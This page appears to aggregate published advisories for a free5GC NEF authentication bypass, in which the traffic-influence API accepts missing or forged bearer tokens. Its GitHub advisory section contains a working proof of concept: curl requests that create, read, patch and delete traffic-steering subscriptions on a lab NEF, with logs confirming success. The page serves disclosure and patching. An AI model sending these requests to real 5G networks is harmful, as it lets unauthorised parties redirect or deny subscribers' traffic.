free5GC: NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions

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free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.

Source published

27 May 2026 15:41:38 UTC

Source modified

27 May 2026 17:53:01 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 9.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.

Source published

May 27, 2026, 3:41:38 PM (timezone not stated)

Source modified

May 27, 2026, 5:53:01 PM (timezone not stated)

Observed here

9 Nov 2026 11:03:50 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 9.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed. This vulnerability is fixed in 4.2.2.

Source published

27 May 2026 17:16:38 UTC

Source modified

14 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 10:17:21 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

### Summary free5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:48` - CRUD routes exposed at `/:afID/subscriptions` and `/:afID/subscriptions/:subID`: `NFs/nef/internal/sbi/api_ti.go:13` - POST allocates AF/subscription state and writes traffic-influence data: `NFs/nef/internal/sbi/processor/ti.go:50` - PATCH looks up and updates the subscription, then calls UDR/PCF: `NFs/nef/internal/sbi/processor/ti.go:279` - DELETE looks up and removes the subscription: `NFs/nef/internal/sbi/processor/ti.go:355` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. 1. CREATE subscription with NO `Authorization` header at all -> `201 Created`: ``` curl -i \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` 2. CREATE second subscription with FORGED bearer token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions ``` 3. READ with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 4. PATCH with forged token -> `500 Query to UDR failed` (still reaches business logic, not 401/403, so auth bypass confirmed): ``` curl -i -X PATCH \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 5. DELETE with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403): ``` [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions [INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can: - Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data. - Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs. - Delete subscriptions, denying service to legitimately provisioned traffic influence. The traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23

Source published

8 May 2026 22:58:59 UTC

Source modified

25 Jun 2026 18:56:27 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

Publisher rating · CRITICAL

free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions in github.com/free5gc/nef

Source published

25 Jun 2026 18:26:48 UTC

Source modified

25 Jun 2026 18:45:19 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.